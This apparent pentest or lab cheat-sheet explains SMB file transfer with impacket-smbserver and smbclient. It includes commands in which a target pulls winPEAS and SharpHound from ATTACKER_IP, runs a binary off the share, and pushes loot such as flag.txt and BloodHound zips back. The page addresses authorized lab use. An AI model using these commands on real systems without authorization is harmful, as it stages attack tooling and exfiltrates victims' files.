SMB File Transfer
SMB is often the cleanest way to move files when the target is Windows: you stand up a share on your box and the target reads or writes it with the same copy and net use an admin uses daily, so it blends into normal Windows traffic. Unlike a plain HTTP server it is bidirectional, so the target can both pull your tooling and push loot back. Only move data you own or are authorized to transfer.
Mental model: serve a folder as \\ATTACKER_IP\share, then copy in either direction on the target.
New to SMB transfer? Core concepts
- Share - a folder you publish over SMB; addressed by UNC path
\\ATTACKER_IP\share impacket-smbserver- a one-command SMB server for your attacker box (no Samba setup)- SMB2 (
-smb2support) - modern Windows will not negotiate without it - Authenticated vs guest - current Windows refuses guest SMB, so run the server with
-username/-passwordand present them on the target - Bidirectional - the same share serves pulls (tool down) and pushes (loot back)
- TCP 445 - the port the target must reach outbound on your box
When to reach for SMB transfer (and when not)
Reach for it on Windows and Active Directory targets, especially when HTTP is filtered but outbound 445 is allowed, and whenever you need to push a file back (not just pull), for example delivering a BloodHound collector and retrieving its zip.
Reach for something else when outbound 445 is blocked (use http-file-transfer or a pivot), on Linux-only targets without smbclient (use HTTP or scp-ssh-transfer), or when you need an encrypted, authenticated channel against SMB monitoring (use SCP/SSH).
Install, update, verify#
impacket-smbserver ships with impacket; smbclient is the Linux client.
sudo apt install -y impacket-scripts smbclient # Debian / Kali (impacket-smbserver, smbclient)
pipx install impacket # or the current impacket via pipx
sudo apt install --only-upgrade -y impacket-scripts smbclient # update
impacket-smbserver -h | head -1 # confirm it is installed
command -v smbclient # Linux client on PATH
Throughout, ATTACKER_IP is your box, TARGET_IP the authorized target, and share the share name.
Flags you’ll actually use#
Skim these first; the cheat sheet below is these combined.
| Flag | On | Does |
|---|---|---|
-smb2support | impacket-smbserver | Negotiate SMB2/3 (required for modern Windows) |
-username / -password | impacket-smbserver | Require auth (modern Windows blocks guest) |
-smb2support -ip | impacket-smbserver | Bind to a specific interface |
/user:USER PASS | net use (target) | Supply the share credentials |
-U 'USER%PASS' | smbclient | Authenticate the Linux client |
-c "get x; put y" | smbclient | Run commands non-interactively |
Cheat sheet#
# Host the share (attacker box) - build it up
cd ~/labs/box/serve
impacket-smbserver share . # bare (old lab boxes only)
impacket-smbserver share . -smb2support # + SMB2 for modern clients
impacket-smbserver share . -smb2support -username lab -password Lab1234 # + auth (current Windows)
:: Target, native Windows - pull, run, push
copy \\ATTACKER_IP\share\winpeas.exe C:\Windows\Temp\wp.exe # pull directly by UNC
net use Z: \\ATTACKER_IP\share /user:lab Lab1234 # map a drive with creds
copy Z:\winpeas.exe C:\Windows\Temp\wp.exe # then copy from it
copy C:\Users\victim\Desktop\flag.txt \\ATTACKER_IP\share\flag.txt # push loot BACK (the SMB win)
\\ATTACKER_IP\share\winpeas.exe # run straight from the UNC path, no copy first
Get-FileHash C:\Windows\Temp\wp.exe -Algorithm SHA256 # verify the transfer
# Target, Linux client
smbclient //ATTACKER_IP/share -U 'lab%Lab1234' # interactive (get/put)
smbclient //ATTACKER_IP/share -U 'lab%Lab1234' -c "get tool.sh; put loot.tar" # one-shot
Command breakdowns#
Host an authenticated share#
cd ~/labs/box/serve && impacket-smbserver share . -smb2support -username lab -password Lab1234
Publishes the current directory as \\ATTACKER_IP\share. The authenticated -smb2support form is the one that works against current Windows; the bare form only suits old lab boxes. Ctrl+C stops it.
Pull a tool onto the target#
copy \\ATTACKER_IP\share\winpeas.exe C:\Windows\Temp\wp.exe
Reads straight from the UNC path, no drive mapping needed. If the server is authenticated, map first with net use so the credentials are cached.
Map a drive with credentials#
net use Z: \\ATTACKER_IP\share /user:lab Lab1234
copy Z:\SharpHound.exe C:\Windows\Temp\
net use mounts the share as Z: using the server’s credentials; subsequent copy calls need no auth. net use Z: /delete unmaps it.
Run a binary from the share without copying#
\\ATTACKER_IP\share\winpeas.exe
Executes straight off the UNC path. Handy when you cannot (or would rather not) drop the file to disk first, though it still loads over the network.
Push loot back to your box#
copy C:\Windows\Temp\*_BloodHound.zip \\ATTACKER_IP\share\
The reverse direction, which a plain HTTP server cannot do without extra setup. The file lands in the folder you served, so you can hash and inspect it on the attacker box.
Get and put from a Linux target#
smbclient //ATTACKER_IP/share -U 'lab%Lab1234' -c "get tool.sh; put loot.tar"
Non-interactive smbclient: get pulls, put pushes, chained with ;. Drop -c for an interactive smb: \> prompt.
Verify the transfer#
sha256sum winpeas.exe # attacker box
Get-FileHash C:\Windows\Temp\wp.exe -Algorithm SHA256 # target
Compare the hashes on both ends so a truncated or mangled copy does not waste your time later.
Troubleshooting#
| Problem | Cause | Fix |
|---|---|---|
System error 1240 / access denied | Guest blocked on modern Windows | Run the server with -username/-password; supply via net use |
copy / net use hangs | Outbound 445 filtered | Use HTTP/SCP, or pivot a tunnel |
| Cannot negotiate | Missing -smb2support | Restart the server with the flag |
smbclient auth fails | Wrong USER%PASS | Match the server credentials exactly |
| Loot push fails | Served folder not writable | impacket-smbserver serves the cwd; check its permissions |
Gotchas#
- Modern Windows refuses guest SMB. The bare server looks fine but every
copyfails with access-denied; always add-username/-password. - Forgetting
-smb2supportmeans newer clients silently will not connect. - SMB blends in but still authenticates and logs. A
net useto a non-domain external IP plus an exe dropped inC:\Windows\Tempis a classic detection, so keep it to a private lab and stop the server when done. - Outbound 445 is often filtered on segmented networks; confirm reachability before assuming the transfer is broken.
Pairs with#
impacket is the suite impacket-smbserver comes from, and smbclient is the Linux client. Reach for http-file-transfer when 445 is blocked but HTTP is allowed, scp-ssh-transfer for an encrypted channel when SSH exists, and netexec to push, pull, and run across many hosts at once with credentials. The file transfer methods tag lists every approach.